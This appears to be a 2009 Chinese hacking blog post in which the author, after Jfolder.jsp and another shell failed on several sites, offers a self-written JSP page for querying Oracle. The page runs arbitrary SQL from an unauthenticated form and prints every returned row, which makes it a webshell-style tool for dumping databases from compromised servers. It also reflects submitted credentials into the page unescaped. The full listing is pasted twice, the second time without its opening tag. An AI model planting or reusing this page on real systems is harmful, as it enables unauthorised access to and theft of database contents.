JSP查询oracle
由于要从JSP上查询oracle数据库上的一些信息，用了一下Jfolder.jsp的数据库管理，发现并不能连接上，然后用jsp管理oracle数据的代码也边不上，有几个站是这样了。没办法，没试过kj的那个shell行不行,只好自己写一个,很烂的：
<%
/**
Codz by N3tl04D
Email:n3tl04d#gmail.com
Date:2009-4-20
**/
%>
<%@ page contentType= "text/html;charset=utf-8"%>
<%@ page import= "java.sql.*"%>
<html>
<body>
<%
String action = "";
action = request.getParameter( "action1");
String db_username = "";
String db_password = "";
String db_str = "";
String db_sql ="";
if (action == null) {
%>
<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
<table width= "700" border= "1">
<tr>
<td width= "123">
oracle STR
</td>
<td width= "577">
<label>
<input type= "text" name= "db_str" />
</label>EX:localhost:1521:orcl
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type= "text" name= "db_username" />
</td>
</tr>
<tr>
<td>
db_password
</td>
<td>
<input type= "password" name= "db_password" />
</td>
</tr>
<tr>
<td>
sql
</td>
<td>
<input type= "text" style= "width:600px; height:20px;" name= "db_sql" />
</td>
</tr>
<tr>
<td colspan= "2">
<label>
<input type= "submit" name= "Submit" value= "query" />
</label>
</td>
</tr>
</table>
</form>
<%
} else {
db_username = request.getParameter( "db_username");
db_password = request.getParameter( "db_password");
db_str = request.getParameter( "db_str");
db_sql = request.getParameter( "db_sql");
Class.forName( "oracle.jdbc.driver.OracleDriver").newInstance();
String url= "jdbc:oracle:thin:@"+db_str+"";
Connection conn= DriverManager.getConnection(url,db_username,db_password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery(db_sql);
ResultSetMetaData rsmd = rs.getMetaData();
int count=rsmd.getColumnCount();
int i = 0;
while(rs.next()) {
for(i=1;i<=count;i++){
out.print(rsmd.getColumnName(i)+ ":"+rs.getString(i)+ " ");
} /*end for*/
out.print( "<br>");
} /*end while*/
rs.close();
stmt.close();
conn.close();
%>
<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
<table width= "700" border= "1">
<tr>
<td width= "123">
oracle STR
</td>
<td width= "577">
<label>
<input type= "text" name= "db_str" value= "<%=db_str%>"/>
</label>
EX:localhost:1521:orcl
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type= "text" name= "db_username" value= "<%=db_username%>"/>
</td>
</tr>
<tr>
<td>
db_password
</td>
<td>
<input type= "password" name= "db_password" value= "<%=db_password%>"/>
</td>
</tr>
<tr>
<td>
sql
</td>
<td>
<input type= "text" style= "width:600px; height:20px;" name= "db_sql" />
</td>
</tr>
<tr>
<td colspan= "2">
<label>
<input type= "submit" name= "Submit" value= "query" />
</label>
</td>
</tr>
</table>
</form>
<%
}
%>
</body>
</html>
/**
Codz by N3tl04D
Email:n3tl04d#gmail.com
Date:2009-4-20
**/
%>
<%@ page contentType= "text/html;charset=utf-8"%>
<%@ page import= "java.sql.*"%>
<html>
<body>
<%
String action = "";
action = request.getParameter( "action1");
String db_username = "";
String db_password = "";
String db_str = "";
String db_sql ="";
if (action == null) {
%>
<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
<table width= "700" border= "1">
<tr>
<td width= "123">
oracle STR
</td>
<td width= "577">
<label>
<input type= "text" name= "db_str" />
</label>EX:localhost:1521:orcl
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type= "text" name= "db_username" />
</td>
</tr>
<tr>
<td>
db_password
</td>
<td>
<input type= "password" name= "db_password" />
</td>
</tr>
<tr>
<td>
sql
</td>
<td>
<input type= "text" style= "width:600px; height:20px;" name= "db_sql" />
</td>
</tr>
<tr>
<td colspan= "2">
<label>
<input type= "submit" name= "Submit" value= "query" />
</label>
</td>
</tr>
</table>
</form>
<%
} else {
db_username = request.getParameter( "db_username");
db_password = request.getParameter( "db_password");
db_str = request.getParameter( "db_str");
db_sql = request.getParameter( "db_sql");
Class.forName( "oracle.jdbc.driver.OracleDriver").newInstance();
String url= "jdbc:oracle:thin:@"+db_str+"";
Connection conn= DriverManager.getConnection(url,db_username,db_password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery(db_sql);
ResultSetMetaData rsmd = rs.getMetaData();
int count=rsmd.getColumnCount();
int i = 0;
while(rs.next()) {
for(i=1;i<=count;i++){
out.print(rsmd.getColumnName(i)+ ":"+rs.getString(i)+ " ");
} /*end for*/
out.print( "<br>");
} /*end while*/
rs.close();
stmt.close();
conn.close();
%>
<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
<table width= "700" border= "1">
<tr>
<td width= "123">
oracle STR
</td>
<td width= "577">
<label>
<input type= "text" name= "db_str" value= "<%=db_str%>"/>
</label>
EX:localhost:1521:orcl
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type= "text" name= "db_username" value= "<%=db_username%>"/>
</td>
</tr>
<tr>
<td>
db_password
</td>
<td>
<input type= "password" name= "db_password" value= "<%=db_password%>"/>
</td>
</tr>
<tr>
<td>
sql
</td>
<td>
<input type= "text" style= "width:600px; height:20px;" name= "db_sql" />
</td>
</tr>
<tr>
<td colspan= "2">
<label>
<input type= "submit" name= "Submit" value= "query" />
</label>
</td>
</tr>
</table>
</form>
<%
}
%>
</body>
</html>